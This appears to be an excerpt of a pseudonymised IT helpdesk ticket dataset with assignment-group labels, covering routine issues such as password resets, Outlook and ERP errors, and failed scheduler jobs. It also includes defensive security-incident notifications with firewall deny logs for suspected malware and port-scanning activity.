+erp-entry: 0027 2% 14 days net 30 days_x000D_ +_x000D_ +i suggested that both systems should reflect the same data._x000D_ +_x000D_ +according to the information received from repyzajo lxfwopyq it was requested by sales and approved by finance._x000D_ +could you please change it back to 0027.",GRP_15 +outlook is not opening. outlook is not opening.,GRP_0 +account locked. account locked.,GRP_0 +password reset request for kiosk users. password reset request for kiosk users.,GRP_0 +"oprbatch extending plant views on fert items with missing/ incorrect settings. oprbatch extending plant views on fert items with missing/ incorrect settings. mm 4994907 extended to plant_322 - missing abc, spt incorrect, and mrptype incorrect. mm 5276470 extended to plant_341 - missing abc, spt incorrect, mrp type incorrect, delivery plant incorrect for sales org 1320. mm 6065360 extended to plant_9 - missing abc, spt incorrect, mrp type incorrect. in addition, when oprbatch extends, price control is defaulted to v, depending on source it should be s and this always needs corrected manually. ",GRP_29 +"mmaster sales org extensions created by oprbatch are creating errors in matgrp1 and material statistics mmaster sales org extensions created by oprbatch are creating errors in matgrp1 and material statistics. examples extended on august 9 which we had to correct this morning: 3528206 sales org 1227; 7320599 sales org 1206. we had 10 today that were blank and needed corrected. if we manually extended these, the system doesn't allow us to save with a blank. we need oprbatch to populate these fields._x000D_ +mmaster sales org extensions created by oprbatch are creating errors in matgrp1 and material statistics. examples extended on august 9 which we had to correct this morning: 3528206 sales org 1227; 7320599 sales org 1206. we had 10 today that were blank and needed corrected. if we manually extended these, the system doesn't allow us to save with a blank. we need oprbatch to populate these fields.",GRP_29 +"cannot use - net weaver business client 5.0 _x000D_ +_x000D_ +received from: uvoyrbhp.qbupdjhw@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ + i cannot use net weaver business client 5.0. please support for this issue_x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d1f333.8ea429e0]_x000D_ +with warm ",GRP_0 +device replacement: setup new hp laserjet m575 mfp - replaces old ag65 - tel.: -328 device replacement: setup new hp laserjet m575 mfp - replaces old ag65 - tel.: -328,GRP_28 +".netframdntyework 4.6.1 & business_client 5.0 SID_792 deployment across amerirtcas (specific list of pc's) - 11th aug 2016 _x000D_ +_x000D_ +received from: yqlvfkih.folbpugd@gmail.com_x000D_ +_x000D_ +dear folks,_x000D_ +we have planned to deploy the dotnetframdntyework 4.6.1 & business_client 5.0 SID_792 on the enclosed list of engineering_tool application installed pc's of amerirtcas region from thursday (11th aug) and also please ensure that all these users (as enclosed) are familiar with the package installation steps (type of package, installation duration, importance of the package, mode of the installation, times of reboot and installation behavior) through referring the below details._x000D_ +_x000D_ +note : this is to deploy only on 73 pc's of amerirtcas that has engineering_tool application installed (identified by engineering_tool application team – prioritized list)_x000D_ +_x000D_ +package details :_x000D_ +_x000D_ +_x000D_ +deployment date: - aug 11th 2016 - thursday_x000D_ +_x000D_ +_x000D_ +_x000D_ +time: - 9.00 am in the morning (as per the respective location time zone)_x000D_ +_x000D_ +_x000D_ +_x000D_ +deployment tool: - patching_antivirus_sw_x000D_ +_x000D_ +_x000D_ +_x000D_ +package type: - prompted. user will be prompted with prior notification to save all the work before proceeding the installation through clicking the continue button._x000D_ +_x000D_ +duration: - 10 - 15 minutes_x000D_ +_x000D_ +restart required: - yes (prompt to restart after the installation of netframdntyework 4.6.1 & business_client 5.0 SID_792)_x000D_ +_x000D_ +_x000D_ +_x000D_ +package behavior: - please go through the below provided bill bankrd and understand the importance of the package deployment ._x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d1f328.7d792db0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +laptop is having blue screen laptop is having blue screen,GRP_0 +"sent from snipping tool _x000D_ +_x000D_ +received from: afwzehqs.jfbxegac@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +after updating the erp, i am facing problem in oppening the attachments in erp quotes._x000D_ +_x000D_ +please resolve immidiately as this is causing problem for my regular activity._x000D_ +_x000D_ +[cid:image001.png@01d1f32d.b16020c0]_x000D_ +_x000D_ +_x000D_ +warm ",GRP_0 +discounts cannot access discounts through collaboration_platform,GRP_0 +engineering tool is getting locked out frequently. engineering tool is getting locked out frequently.,GRP_0 +holiday list needs rebuilt someone has deleted all of the holiday entries from the holiday list on the hub. there should be a backup in metavis that can be restored. please restore the list/,GRP_16 +"outlook issue 280_x000D_ +summary:unable to login to outlook",GRP_0 +business_client prompts related to java promts please refer attachments to this ticket for more informations.,GRP_11 +erp password reset request. erp password reset request.,GRP_0 +setup new ws \thnsguzj utwijzag setup new ws \thnsguzj utwijzag,GRP_24 +setup new ws \yucgfmiq jamgpnqe setup new ws \yucgfmiq jamgpnqe,GRP_24 +setun new ws \michghytuael luesebrink setun new ws \michghytuael luesebrink,GRP_24 +setup new ws \uhammet kuluz setup new ws \uhammet kuluz,GRP_24 +install 64 bit version von ms office für pc 215502 im büro rohlings fertigung \njdrcagt shourxyp install 64 bit version von ms office für pc 215502 im büro rohlings fertigung \njdrcagt shourxyp,GRP_24 +"report /dscsag/dms_kpro_contv_clean1 is resulting in abap runtime error in SID_1 i tried to run the report /dscsag/dms_kpro_contv_clean1 in SID_1 through background job with the following inputs. but it resulted in abap runtime error shown below._x000D_ +_x000D_ +input variant: ugi_clean_x000D_ +application: ugi_x000D_ +quantity of inactive content versions: 3_x000D_ +_x000D_ +i have attached the screen shots of the same in the document._x000D_ +_x000D_ +we are working on this ticket :inc1535945 - plm content versions being generated without configuration. this report refers to this ticket.",GRP_14 +forgot attendance_tool password forgot attendance_tool password,GRP_0 +"outlock suche _x000D_ +_x000D_ +received from: giumxwvh.lfvwjtin@gmail.com_x000D_ +_x000D_ +hallo help-team,_x000D_ +_x000D_ +ich habe das problem, dass wenn ich nach versendeten emails suche über die suche nach namen kommt folgende fehlermeldung._x000D_ +es kommen immer nur vorschläge bis zum 03.02.2016_x000D_ +bitte prüfen und rückinfo._x000D_ +vielen dank_x000D_ +[cid:image002.jpg@01d1f2f7.35b19750]_x000D_ +_x000D_ +mit freundlichen grüßen/ kind ",GRP_28 +"abended job in job_scheduler: Job_3182 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_3182 at 08/10/16 05:01:27",GRP_8 +outlook is not working outlook is not working ,GRP_0 +reset password for erp SID_34 reset password for erp SID_34 ,GRP_0 +"abended job in job_scheduler: Job_593 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_593 at 08/10/16 04:25:28",GRP_8 +"microsoft outlook2010 is not working for pdujfybc bvfdnale microsoft outlook2010 is not working for pdujfybc bvfdnale. pls. check pc edww8313043._x000D_ +",GRP_33 +visio printer and wireless mouse help to configure the wireless device id04 printer and install the visio 2010 on the reimaged laptop.,GRP_19 +user called to give information regarding ticket_no0428784 user called to give information regarding ticket_no0428784,GRP_0 +my account changed new password get many error in passwordmanage system . my account changed new password get many error in passwordmanage system . erp system password could not changed . my distributor_tool system -,GRP_0 +"business_client issue how do i change the ""message server"" when connecting to SID_1?_x000D_ +_x000D_ +i believe that it should be lhqx20330",GRP_11 +文件无法打印到打印机，提示打印机错误。 prtSID_737--文件无法打印到打印机，提示打印机错误。,GRP_31 +"fund hello ,_x000D_ +_x000D_ +below mail is definitely a spam mail. kindly take note of the same_x000D_ +_x000D_ +also if it is ok than forward this mail to all the employees to warn everyone._x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"new prospect accounts created in crm do not get an erp number hello, _x000D_ +_x000D_ +i have two specific cases where a newly created prospect account in crm (modern construction and sandfield engineering) does not get an erp number, even after some days. after having run an advanced find search i found we have 385 such cases. please see attached file that describes the issue and the unique steps. _x000D_ +_x000D_ +if prospects do not get an erp id it results in the fact that they do not show up in the users´""my active prospects"" view because it filters on prospects with erp id. users think that the account was not created and create the over and over again. we should review if we want to change the logic behind this view - i assume the filter was put in to exlude non-complete accounts. _x000D_ +_x000D_ +another issue i found during this troubleshooting process is i deactivated such a duplicate prospect and the audit log shows that 5 minutes later the account got activated again and got the erp number, too. please investigate this one too. _x000D_ +_x000D_ +",GRP_40 +"quotation with configured new simple special items remains incomplete in SID_1 quotation with configured new simple special items remains incomplete in SID_1:_x000D_ +quotes were created in distributor_tool._x000D_ +a) quote 3115968739 /11 - alternate mill_model item gets not replaced with material # of initial item 10._x000D_ +b) quote 3115968742 / 10 and 11. pricing remains incomplete. i cannot identify what is actually incomplete. but erp shows the status incomplete and therefore the quote cannot be printed and sent to customer over web.",GRP_13 +"HostName_587(germany,de-patching_antivirus_sw-production):is inactive since 8/4/2016 5:49 am est germany patching_antivirus_sw server. HostName_587 shows down since 8/8/2016 5:49 am est ._x000D_ +kindly check.",GRP_12 +"HostName_973(hr_tool tax_interface app - qa):average (5 samples) total cpu is now 100.00%, which is above the error threshold (99%) HostName_973(hr_tool tax_interface app - qa) : average (5 samples) total cpu is now 100.00%, which is above the error threshold (99%)",GRP_12 +"erp access issue system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_21 + +enter user id of user having the issue: chopamghy + +transaction code(s) the user needs or was working with: spro + +describe the issue: need the access of spro transaction in SID_21 + +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket. + +provide access the same as this other user: milyhyakrp",GRP_2 +"engineering tool das passwort wurde meinerseits falsch eingegeben. bitte passwort zurücksetzen (engineering tool und erp). danke_x000D_ +",GRP_0 +erp SID_34 account locked erp SID_34 account locked ,GRP_0 +"while creating the order in distributor_tool inco and shipping conditions are coming wrong . rabhtui and all,_x000D_ +_x000D_ +it looks like me may still have a web issue. the folks at the warehouse have seen some instances where the carrier has been a carrier tcode but the inco & sc were cip & 10 so kis is trying to change it to ups ground. in one case it looks like the inco & sc are pulling from the sold to & the carrier is coming from the ship-to and in another it looks like the customer changed the carrier but was flat rate already because i didn't see that carrier option listed as a default on either the sold to or ship to_x000D_ +_x000D_ +here are the two examples from the warehouse._x000D_ +_x000D_ +delivery sales order_x000D_ +9168970934 35892003 (came over as cip 10 tfedp1nd) sold-to is cip 10 tupsgrnd, ship-to is fca 04 tfedground w/ acct_x000D_ +9168984363 35892687 (came over as cip 10 tfedground) sold-to is cip 10 tupsgrnd, ship-to is fca 05 tups w/ acct_x000D_ +_x000D_ +",GRP_20 +erp SID_32 account locked erp SID_32 account locked ,GRP_2 +"abended job in job_scheduler: bkbackup_tool_reporting_tool_prod_inc received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: bkbackup_tool_reporting_tool_prod_inc at 08/10/16 00:26:25",GRP_8 +enterprise scanner not working enterprise scanner not working ,GRP_0 +"mobile device is temporarily blocked from synchronizing using exchange activesync until your administrator usas it acc from: grhryueg dewicrth _x000D_ +sent: wednesday, august 10, 2016 6:22 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: rad:fwd: your mobile device is temporarily blocked from synchronizing using exchange activesync until your administrator usas it access._x000D_ +importance: high_x000D_ +_x000D_ +can you please unblock and usa access to my new phone?_x000D_ +_x000D_ +",GRP_0 +"not getting any old mails in my outlook. kindly do the needful to restore the same. and help me store it in separate name:kargthythik +language: +browser:microsoft internet explorer +email:hjcpyxtq.okycpbsz@gmail.com +customer number: +telephone: +summary:i am not getting any old mails in my outlook. kindly do the needful to restore the same. and help me store it in separate location",GRP_0 +unable to login to vpn and reset password unable to login to vpn and reset password ,GRP_0 +"bex password was locked due to wrong typing. please reset the password name:zcqnuawo zxdtskpw +language: +browser:microsoft internet explorer +email:zcqnuawo.zxdtskpw@gmail.com +customer number: +telephone: +summary:bex password was locked due to wrong typing. please reset the password +",GRP_0 +"email back problem in outlook _x000D_ +_x000D_ +received from: hjcpyxtq.okycpbsz@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +i am not getting any old mails in my outlook. kindly do the needful to restore the same. and help me store it in separate location_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"pc to be made as stand by own _x000D_ +_x000D_ +received from: kzybxher.prjaswhe@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +_x000D_ +pc number awyw8911438 should be made as stand by own it should not be connected to network, as we are using it for cmm machine it require a separate pc. kindly do the needful._x000D_ +_x000D_ +",GRP_19 +"abended job in job_scheduler: Job_549 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_549 at 08/09/16 23:10:22",GRP_8 +"cannot open engineering_tool _x000D_ +_x000D_ +received from: anpocezt.qturbxsg@gmail.com_x000D_ +_x000D_ +hello it_x000D_ +when i try to open engineering_tool i get this, so i delete engineering_tool off my computer and then reinstalled it and i still get this_x000D_ +",GRP_0 +"abended job in job_scheduler: SID_37hoti received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_37hoti at 08/09/16 23:03:27",GRP_8 +"abended job in job_scheduler: SID_51hotf received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_51hotf at 08/09/16 23:03:27",GRP_8 +"abended job in job_scheduler: bk_hana_SID_62_erp_dly_dp received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: bk_hana_SID_62_erp_dly_dp at 08/09/16 23:03:27",GRP_8 +bex cannot convert to excel sheet bex cannot convert to excel sheet,GRP_0 +domain account unlock domain account unlock,GRP_0 +"i'm trying to help nkademwy ihsepkwz log into oneteam, to update his direct deposit information _x000D_ +ic_x000D_ +welcome, our next available agent will be with you shortly..._x000D_ +interaction alerting agent._x000D_ +website visitor has joined the conversation_x000D_ +rakthyesh ramdntythanjesh_x000D_ +hello christgry, ",GRP_0 +unable to view screen on monitor when lid is closed unable to view screen on monitor when lid is closed,GRP_0 +客户提供的在线系统打不开 客户提供的在线送货单生成系统打不开，需尽快解决,GRP_48 +"abended job in job_scheduler: Job_1320 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1320 at 08/09/16 19:26:27",GRP_9 +"SID_34/1108/vf01-vf04/ price problems zor agains zf2 inwarehouse_tool we have facing problems with the inwarehouse_tools , the price into the order is correct, but the inwarehouse_tool has another price!!!!_x000D_ +example order confirmed 35881790 delivery 9168954879 inwarehouse_tool 0158914039_x000D_ +example order confirmed 35882469 delivery 9168955759 inwarehouse_tool 0158915223_x000D_ +i must issue the inwarehouse_tools 24 hours after the import payment. in this moment we stopped the process . ",GRP_13 +"cannot load finance_app _x000D_ +_x000D_ +received from: pjxclyhs.fcniljtu@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +each time i select oracle enterprise from my bar, i get the following error:_x000D_ +_x000D_ +[cid:image001.png@01d1f26b.62be0da0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +kind ",GRP_55 +"employment status - employee termination for user: [dbsgicet xzopjhlq - vvgtyhpej] employee last name: peghyurozich + +employee first name: jpsgeghtyui + +employee number:2111114584 + +employee location: usa + +manager's name: bwfhtumx japznrvb + +employee's cost center: bdf001 + +employee self-service (ess) user only? + +employee's last day of work:8/5/16 + +special instructions:",GRP_2 +"reset passwords for nathyuasha smoltelephony_software using password_management_tool password reset. globalview (794, prtgghj4k) reset please!!!",GRP_17 +the snmp agent at '10.32.1.11' is not responding. [infoblox - usa datacenter primary dns] the snmp agent at '10.32.1.11' is not responding. [infoblox - usa datacenter primary dns],GRP_56 +" Job_1953d:was running longer than 30 minutes kirtyled and rerun to successful completion. received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1953d at 08/09/16 16:52:27",GRP_6 +"please unlock account email in cell phone the users rabkypet zocjdutp (id:fothrmijm) and ltmoubvy utrimobs (gomeshthyru) hello team, + +could you please unlock account email in cell phone the users rabkypet zocjdutp (id:fothrmijm) and ltmoubvy utrimobs (gomeshthyru) +",GRP_0 +"circuit outage: usa pa, plant comcast secondary circuit is down at 4:19 pm et on 09/08. what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? __________ 4:19 pm et on 09/08.____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? _yes_____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___na________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ______yes_ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"excel continues to crash with 2-3 workbooks open error messages: ""excel cannot complete the task with available resources. choose less data or close other applications."" also ""excel has stopped working"". and i have beshryued-out areas of my screen or distorted screens that don't refresh the excel view. no pivot tables or complex macros in use. only excel with outlook, skype & powerpoint open. laptop fan runs constantly in dock with excel in use.",GRP_0 +"update dns on printer update dns on printer_x000D_ +_x000D_ +model - hp laser jet 4350dn_x000D_ +dynamic ip address - _x000D_ +fqdn: prtqi2019_x000D_ +short name: SID_99_x000D_ +print server: \\HostName_1332",GRP_0 +"as per inc1530176::security incidents - (in33536629) : possible trojan infection - host: 10.44.94.214 +from: gzhapcld fdigznbk +sent: wednesday, august 10, 2016 1:19 am +to: jenfrgryui lu +cc: sam wanrtyg; stefytyn shi; cothyshy wu; qfrntose ivnhumzjalakrisyuhnyrtn; nyrjkctu tbhkenlo; ugyothfz ugrmkdhx; suhtnhdyio psfshytd; kathght shfhyw; bhayhtrathramdnty mamilujli +subject: inc1530176::security incidents - (in33536629) : possible trojan infection - host: 10.44.94.214 + +hello jenfrgryui, + +we are getting alerts possible downloader trojan from your 80.68.49.4169(user id: lughjm) device sourcing from 10.44.94.214 and destined to host 183.91.33.90, indicating that host 10.44.94.214 may be infected with malware. + +due to the nature of this threat, it may be difficult to detect the compromise. because of the detection difficulty and severity of the threat, dell secureworks recommends that we remove the pc off the network at the earliest, format the hard drive and install a new system. it is not reliable to attempt to clean the virus. + + +in the meantime, as this is a high severity issue we are moving the corresponding account (user id: lughjm) to palo_virus_quarantine group. (no internet access). +common ways that computers become infected are listed below. please inform our team if you know how your pc may have become infected + +1) using a portable usb drive (also known as ""pen drive"" or ""thumb drive""). +2) clicking a phishing email link. +3) visiting websites that may have been compromised by a hacker. + + + +hello apac pc services, + +after the pc has been re-imaged with immediate effect. please let us know . + +we have created a ticketing_tool ticket and assigned it to europe pc services. inc1530176 + + + +",GRP_2 +"security incidents - ( dsw #in33390850 ) : suspicious ms-rpc/ms-ds/netbios activity - ( HostName_1270 / 78.83.16.293 ) source ip : 78.83.16.293 +system name : HostName_1270 - santiago,south amerirtca - backup exec server +user name: uidgt olibercsu (olvidley) +location : santiago,south amerirtca +sep , sms status : see below +field sales user ( yes / no) : no +dsw event log: see below + +** + +content versions +fmxcnwpu tcwrdqboinition version: 08/08/2016 r19 +sequence: 179828 +host integrity content: not available +reputation settings: 03/02/2015 r5 +ap portal list: 11/11/2015 r22 +intrusion prevention signature: 08/08/2016 r11 +power eraser definitions: 10/28/2015 r36 +revocation content: 08/03/2016 r2 +eraser engine: 115.2.1.18 +sonar content: 07/18/2016 r1 +extended file attributes and signatures: 07/26/2016 r2 +symantec permitted applications list: 08/08/2016 r3 + +========================= +incident overview +========================= +we have detected at least 225 occurrences of your firewall company-internal-asa.company.com-1/18.79.63.203 dropping traffic sourcing from HostName_1270/78.83.16.293 and destined to port 135 of one or more destination devices. this activity may indicate one of the following: + 1. an infection on this host + 2. a misconfigured firewall + 3. a misconfigured host + 4. port scan (authorized or unauthorized) + +we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . + +1) ticket only escalation for these alerts where the traffic was blocked (explicit notification via a medium priority ticket (no phone call)) +2) automatically resolve these alerts where the traffic was blocked to the portal (no explicit notification but events will be available for reporting purposes in the portal) + +sincerely, +dell secureworks soc + +========================= +technical details +========================= +historically, there have been various worms/malware that have used ports 135, 137, 138, 139, and 445 to propagate. examples include: +-w32.blaster.worm/msblast/lovsan +-w32.welchia/nachi +-w32.reatle + +port 135 - microsoft epmap (end point mapper), also known as dce/rpc locator service + +port 137 - netbios netbios name service + +port 138 - netbios netbios datagramdnty service + +port 139 - netbios netbios session service + +port 445 - microsoft-ds smb file sharing + +additional information on these ports and best practices can be found at the following sites: + + + + + + + + +========================= +references +========================= + + + + + + + + + +========================= +event data +========================= +related events: +___________________________________________________________________________ +event id: 27927493 +event summary: internal outbreak for 135/tcp +log time: 2016-07-24 at 20:21:46 +source ip: 78.83.16.293 +source hostname: HostName_1270 +destination hostname: +device ip: 18.79.63.203 +device name: company-internal-asa.company.com-1 +event extra data: +inspectorruleid = 186739 +sherlockruleid = 537074 +cvss = -1 +ontologyid = 200020003203009144 +srchostname = HostName_1270 +eventtypeid = 200020003203009044 +ctainstanceid = 0 +foreseeglobalmodelassessmt = unknown +irreceivedtime = 1469392610163 +foreseemalprobglobalmodel = 0.6162829 +inspectoreventid = 018319585 +eventtypepriority = 1 +proto = tcp +dstport = 135 +action = blocked +ileatdatacenter = true +foreseemaliciouscomment = globalmodelversion:794598;null or empty model found; +foreseeinternalip = 78.83.16.293 +logtimestamp = 2570402817 +agentid = 103611 +foreseeconndirection = internal +srcassetofinterest = 4 +srcport = 59908 + + +occurrence count: 225 +event count: 2 + +event detail: +jul 24 20:21:46 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/59908 to 192.168.2.123/135 flags syn on interface inside +jul 24 20:21:52 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59920 dst outside:192.168.43.161/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0] +jul 24 20:21:55 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59927 dst outside:192.168.0.146/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0] +jul 24 20:21:56 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59929 dst outside:192.168.0.16/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0] +jul 24 20:22:02 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/59949 to 192.168.2.21/135 flags syn on interface inside +jul 24 20:22:04 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59952 dst outside:192.168.0.23/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0] +jul 24 20:22:3sartlgeo lhqksbdx8.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60005 dst outside:10.10.11.26/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0] +jul 24 20:22:35 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60011 dst outside:192.168.0.5/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0] +jul 24 20:22:44 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/60018 to 192.168.2.19/135 flags syn on interface inside +jul 24 20:23:09 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60066 dst outside:172.40.1.98/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0] +jul 24 20:23:1sartlgeo lhqksbdx8.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60070 dst outside:192.168.0.39/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0] +jul 24 20:23:15 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/60083 to 192.168.2.150/135 flags syn on interface inside +jul 24 20:23:16 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60086 dst outside:192.168.178.139/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0] +jul 24 20:23:19 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60095 dst outside:192.168.0.101/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0] +jul 24 20:23:26 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60116 dst outside:192.168.0.2/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0] +jul 24 20:23:26 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60117 dst outside:192.168.0.22/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0] + + + +___________________________________________________________________________ +event id: 27927405 +event summary: internal outbreak for 445/tcp +log time: 2016-07-24 at 20:21:46 +source ip: 78.83.16.293 +source hostname: HostName_1270 +destination hostname: +device ip: 18.79.63.203 +device name: company-internal-asa.company.com-1 +event extra data: +inspectorruleid = 186739 +sherlockruleid = 537074 +cvss = -1 +ontologyid = 200020003203009144 +srchostname = HostName_1270 +eventtypeid = 200020003203009044 +ctainstanceid = 0 +foreseeglobalmodelassessmt = unknown +irreceivedtime = 1469392610163 +foreseemalprobglobalmodel = 0.6162829 +inspectoreventid = 018319585 +eventtypepriority = 1 +proto = tcp +dstport = 135 +action = blocked +ileatdatacenter = true +foreseemaliciouscomment = globalmodelversion:794598;null or empty model found; +foreseeinternalip = 78.83.16.293 +logtimestamp = 2570402817 +agentid = 103611 +foreseeconndirection = internal +srcassetofinterest = 4 +srcport = 59908 + + +occurrence count: 225 +event count: 2 + +event detail: +jul 24 20:21:53 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59925 dst outside:192.168.43.161/445 by access-group ""acl_inside"" [0xac2286bc, 0x0] +jul 24 20:21:57 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59931 dst outside:192.168.0.146/445 by access-group ""acl_inside"" [0xac2286bc, 0x0] +jul 24 20:21:58 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59936 dst outside:192.168.0.16/445 by access-group ""acl_inside"" [0xac2286bc, 0x0] +jul 24 20:22:06 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/59955 dst outside:192.168.0.23/445 by access-group ""acl_inside"" [0xac2286bc, 0x0] +jul 24 20:22:10 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/59956 to 192.168.2.123/445 flags syn on interface inside +jul 24 20:22:23 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/59986 to 192.168.2.21/445 flags syn on interface inside +jul 24 20:22:32 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60008 dst outside:10.10.11.26/445 by access-group ""acl_inside"" [0xac2286bc, 0x0] +jul 24 20:22:37 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60012 dst outside:192.168.0.5/445 by access-group ""acl_inside"" [0xac2286bc, 0x0] +jul 24 20:23:05 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/60056 to 192.168.2.19/445 flags syn on interface inside +jul 24 20:23:1sartlgeo lhqksbdx8.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60069 dst outside:172.40.1.98/445 by access-group ""acl_inside"" [0xac2286bc, 0x0] +jul 24 20:23:12 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60074 dst outside:192.168.0.39/445 by access-group ""acl_inside"" [0xac2286bc, 0x0] +jul 24 20:23:18 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60090 dst outside:192.168.178.139/445 by access-group ""acl_inside"" [0xac2286bc, 0x0] +jul 24 20:23:2sartlgeo lhqksbdx8.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60099 dst outside:192.168.0.101/445 by access-group ""acl_inside"" [0xac2286bc, 0x0] +jul 24 20:23:27 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60122 dst outside:192.168.0.2/445 by access-group ""acl_inside"" [0xac2286bc, 0x0] +jul 24 20:23:27 18.79.63.203 %asa-4-106023: deny tcp src inside:78.83.16.293/60123 dst outside:192.168.0.22/445 by access-group ""acl_inside"" [0xac2286bc, 0x0] +jul 24 20:23:36 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 78.83.16.293/60135 to 192.168.2.150/445 flags syn on interface inside",GRP_2 +"HostName_1132:epmsystem2.exe: wrong number of instances of process *epmsystem2.exe*, expected 2 - found 1 observing below alert in reporting_tool since 1:33 pm on 08/09 et. note that we have opened a ticket (inc1539097 )earlier for the same issue but looks like that time issue was resolved. +epmsystem2.exe: wrong number of instances of process *epmsystem2.exe*, expected 2 - found 1",GRP_12 +"security incidents - ( dsw #in33390850 ) : suspicious ms-rpc/ms-ds/netbios activity - ( HostName_1270 / 78.83.16.293 ) source ip : 78.83.16.293_x000D_ +system name : HostName_1270 - santiago,south amerirtca - backup exec server_x000D_ +user name: uidgt olibercsu (olvidley)_x000D_ +location : santiago,south amerirtca_x000D_ +sep , sms status : see below_x000D_ +field sales user ( yes / no) : no_x000D_ +dsw event log: see below_x000D_ +_x000D_ +**_x000D_ +_x000D_ +content versions_x000D_ +fmxcnwpu tcwrdqboinition version: 08/08/2016 r19 _x000D_ +sequence: 179828 _x000D_ +host integrity content: not available _x000D_ +reputation settings: 03/02/2015 r5 _x000D_ +ap portal list: 11/11/2015 r22 _x000D_ +intrusion prevention signature: 08/08/2016 r11 _x000D_ +power eraser definitions: 10/28/2015 r36 _x000D_ +revocation content: 08/03/2016 r2 _x000D_ +eraser engine: 115.2.1.18 _x000D_ +sonar content: 